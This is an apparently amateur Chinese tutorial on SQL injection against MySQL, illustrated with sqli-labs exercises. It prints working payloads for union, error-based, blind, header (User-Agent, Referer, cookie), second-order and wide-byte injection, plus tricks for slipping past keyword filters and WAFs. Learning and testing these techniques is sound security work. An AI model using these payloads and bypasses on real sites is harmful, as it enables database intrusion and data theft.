SQL注入(一)
定义:
就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。
sql注入分类:
基于
联合查询,基于错误回显,基于盲注,基于user-agent,基于feferer,基于cookie,二次注入,宽字节注入
(基于user-agent,基于feferer,基于cookie可以算请求头注入)
注入一个网站时,我们先要找出后台构造的查询语句,然后判断是否存在注入点。
常规的找出查询语句的方法是在后面加’ 、 “ 、 ‘) 、 “)等,看是否报错,然后用and 1=1和and 1=2判断是否存在注入点,然后根据情况用不同的方法注入。
1.基于联合查询
通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询
首先来了解下mysql的系统函数
然后再来了解下union
union 用于合并两个或多个 select 语句的结果集,并消去表中任何重复行。
union 内部的 select 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 select 语句中的列的顺序必须相同.默认地,union 操作符选取不同的值。如果允许重复的值,请使用 union all。当 ALL 随 union 一起使用时(即 union all),不消除重复行。
order by 用于对结果集进行排序
mysql 5.0版本以后提供了information.schema表,表中记录了数据库中所有的库、表、列等信息。
通过information_schema查询数据库内容:
mysql数据库重要四个数据库库:
information_schema proformation_schema mysql test
三个重要数据表:
table_name table_schema table_type
理解schema,schemata,schema_name,table_schema的含义很重要!很重要!很重要!(说三遍~)
SCHEMATA
表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。(其中包含一列
schema_name
,即数据库名,不同于schema,schema_name只是单纯的数据库名)
TABLES
表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表(其中包含table_schema
,表中的对应的库名信息
,table_nama同样不同于tables,只是单纯的表名)
COLUMNS
表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,注释等。是show columns from schemaname.tablename的结果取之此表(其中包含
table_schema,表中对应的库名信息,table_nama表字段对应的表名,columns_name字段对应的字段名)
找到注入点后,我们用order by语句查询数据库中存在多少数据表
确定多少个表,为了便于说明,假设有三个数据表,
下面我们就要查询敏感信息了,就要用到上面所说的系统函数了
我们假设其中有sqlflag库。
2.基于错误回显
基于错误回显的sql注入就是通过sql语句的矛盾性来使数据被回显到页面上
所用到的函数
count(*) 统计数据
select count(*) from information_schema.schemata:这里是在information_schema查询数据库有多少个。
0x3a 表示十六进制的冒号“:”
0代表floor( rand(0))会一直报错
floor:函数只返回整数部分,小数部分舍弃。
rand()在0和1之间产生一个随机数
rand(0)*2 去0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录为3条以上必然报错,返回的值是有规律的
count(*)来统计结果的,相当于刷新一次结果
如select count(*) from information_schema.tables;
group by 在对数据进行分组时,会先看看虚拟表里面有没有这个值,没有的话就插入存在的count(*)加1,在使用group by时对fllor(rand()*2)会被执行一次,若虚表不存在记录,插入虚表时会在执行一次。
如select table_name,table_schema from information_schema.tables group by table_name;
group_concat将符合条件的同一列中的不同行数据拼接,如select group_concat(0x3a,0x3a,database(),0x3a);
又因头太长,为了美观,可以起一个别名a,select group_concat(0x3a,0x3a,database(),0x3a)a;
当rand被禁用了可以使用用户变量来报错:
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
我们将上面的整合下,
select count(*),concat(0x3a,0x3a,database(),0x3a,floor(rand()*2))a from information_schema.tables group by a;先生成随机数,然后用分号将不同的数据拼接,并取别名a,最后将结果以a进行分组并进行统计,能看到统计出的两个不同的取值,0和1。
再进行多次重复,看一下关于rand()函数与group by 在mysql中的错误报告,我们就是要利用group by part of rand() returns duplicate key error这个bug。
小技巧:
当在from后面输入一个不存在的数据库时,会报出当前数据库名称:
' union select 1,count(*),concat(0x3a,0x3a,(select count(*) fromxxxx),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a --+
回显:Table 'database().xxxx' doesn't exist
查询所有数据库的数量:
?id=-1' union select 1,count(*),concat(0x3a,0x3a,(select count(*) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a --+
显示:
Duplicate entry '::10::1' for key 'group_key'
查询所有表数量:
?id=-1' union select 1, count(*),concat(0x3a,0x3a,(select count(*) from information_schema.tables),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.schemata group by a --+
回显:Duplicate entry '::151::0' for key 'group_key'
查询所有列数量:
?id=-1' union select 1, count(*),concat(0x3a,0x3a,(select count(*) from information_schema.columns),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.schemata group by a --+
显示:Duplicate entry '::
1330
::1' for key 'group_key'
//mysql 对 xml 数据进行查询和修改的 xpath 函数,xpath 语法错误
?id=-1' union select exp(~(select * FROM(select table_name from information_schema.tables where table_schema='security' limit 1,1)a)) --+
//double 数值类型超出范围 Exp()为以 e 为底的对数函数;版本在 5.5.5 及其以上
?id=-1' union select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;//mysql
重复特性,此处重复了 version,所以报错。
select !(select * from (select user())x) - ~0
//bigint(数据类型) 超出范围;~0 是对 0 逐位取反,很大的版本在 5.5.5 以上。
3.基于盲注
在不知道数据库具体返回值的情况下对数据库中的内容进行猜解,实施sql注入,一般分为基于布尔和基于时间类型的盲注。
3.1 基于布尔型的sql盲注
返回的界面只有两种情况,即TRUE和FALSE,这样说并不是很准确,因为SQL查询无非就这两种情况,应该说是盲注的时候你只能得到一个正常的页面或者是什么页面的不存在,甚至你在查询表的记录过程也不会有显示。
首先了解几个函数;
这样我们就一步一步的爆出数据库的信息了。
3.2基于时间的盲注
web页面的返回值只有一种——TURE,无论输入任何值,它的返回都会按正确的来处理。加入特定的时间函数,通过查看是web页面返回的时间差来判断注入的语句是否正确
sleep()函数
执行程序(进程)后挂起一段时间,如:
If(ascii(substr(database(),1,1))>115,1,sleep(5))%23
//当条件为假时,执行sleep(5),括号内为执行秒数。
(此方法慎用,视网络情况,网络不好时会有延迟,易产生错误判断,将判断为“真”人为认定为“假”,影响判断结果,必要时,可以将秒数增加减少误差)
4.基于user-agent
用户代理(user-agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。
并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息。
HTTP查询实例:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
我们将火狐设置为本地代理,然后用brup suite抓包。
然后将包发送到Repeater
在user-Agent修改为’,2,(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a))#
就爆出了数据库的库名flag了,这是sqli-labs第十八关的测试结果,构造爆出表列的语句和基于错误回显的语句一样,这里就不多做说明了。
5.基于feferer
http referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上referer,告诉服务器我是从哪个页面链接过来的,服务器以此可以获得一些信息用于处理
如
sqli-labs 第十九关
在referer中输入',(select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) )# 爆出数据库名为flag,其他注入语句和上雷同。
6.基于cookie
cookie(存储在用户本地终端上的数据)由服务器生成,发给user-agent(一般是浏览器),浏览器会把cookie的key/value保存到某个目录下的文本文件内,下次请求同一网站时就会发送cookie给服务器(前提要浏览器设置为启用cookie)。cookie的key和value由服务器端开发自己定义,对于jsp而言也可以直接写入jessionid,这样服务器可以知道该用户是否合法用户以及是否需要重新登录等。
火狐中插件friebug对其修改,或用burp suite抓包修改
如sqli-labs 第二十关
在cookie中加单引号测试报错,证明存在注入。然后在cookie中输入'and (select 1 from (select count(*),concat(0x3a,0x3a,(select schema_name from information_schema.schemata limit 2,1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)a) # 同样爆出的库名flag。
当然,上面所说的全是无防护的情况下的结果,在正常情况下会有些防护措施。
下面介绍些绕过的方法:
1. base64编码
base64编码的思想是采用64个基本的ascii码字符对数据进行重新编码。它将需要编码的数据拆分字节数组。以3个字节为一组,按顺序排列24位数据,再把24位数据分成4组,即每组6位,在每组的最高位前补两个0凑足一个字节,这样把一个3字节为一组的数据重新编码成4个字节。当所要编码的数据的字节不是3的整数倍,这时,在最后一组填充1到2个0字节。并在最后编码完成后在结尾添加1到2个”=“(通常为=,有时也会为+)。
关于这个编码的规则:
①.把3个字符变成4个字符。
②每76个字符加一个换行符。
③.最后的结束符也要处理。
在火狐的插件heckbar中有此功能
1. 过滤关键字符
and ——&&
or —— ||
空格被过滤
可以使用”%09 %0A %0C %0D %0B”替代,也可以用or和and来构造到达闭合语句的效果。
union select 过滤
使用大小写绕过,如UNion,SElect
多次重复,如ununionion,selselectect
在union select 联合使用被过滤的情况,可以使用union all select
2. WAF应用防护系统
php语言get 获取参数时有一个特性,当某个参数被多次赋值时会保留最后一次被赋值时的值。如id=1&id=&2&id=3这时,程序会返回id=3的值,但WAF只对第一次的id进行测试,如果传入多个id,那么后面的id则存在注入漏洞
输入id=1&id=&2&id=3'就会出现报错。
7.二次注入
注入过程分为两个部分,语句插入和语句执行。常规的注入中都是将sql语句插入后即可显示效果,出错或者得出注入结果,而二次注入的第一步不会产生任何反应,因为它只是一个语句的插入,并没有执行,在第二步运行时才能执行第一步插入的语句并显示结果。而这两个点可能不在同一位置。
此时修改密码,单引号闭合语句,井号注释后面的语句,修改的就不是admin’#的密码了,而是admin的密码
8.宽字节注入
GB2312,GBK,BIG5等这些都是常说的宽字节即两个字节(GB2312,GBK为简体汉字编码,适用于中国大陆及新加坡;BIG5位繁体汉字编码,适用于中国港澳台地区);ascii就是单字节即一个字节,他的编码范围是ascii(0)~ascii(127),其中ascii(32)~ascii(126)为可显字符。
addslashes()函数
在每个字符前添加反斜杠:\
mysql_real_escape_string()函数
转义sql语句中使用的字符串中的特殊符。
受影响字符为:\x00,\n,\r,\,',",\x1a。
当id=1,无论在后面加',"都返回正常,因为被添加反斜杠或转义了,此时可以在测试字符前加%bf,id=1%bf’就会报错了。
ps:小编是新手小白,各位大牛勿喷。有什么不对的地方,可留言,小编会及时改正。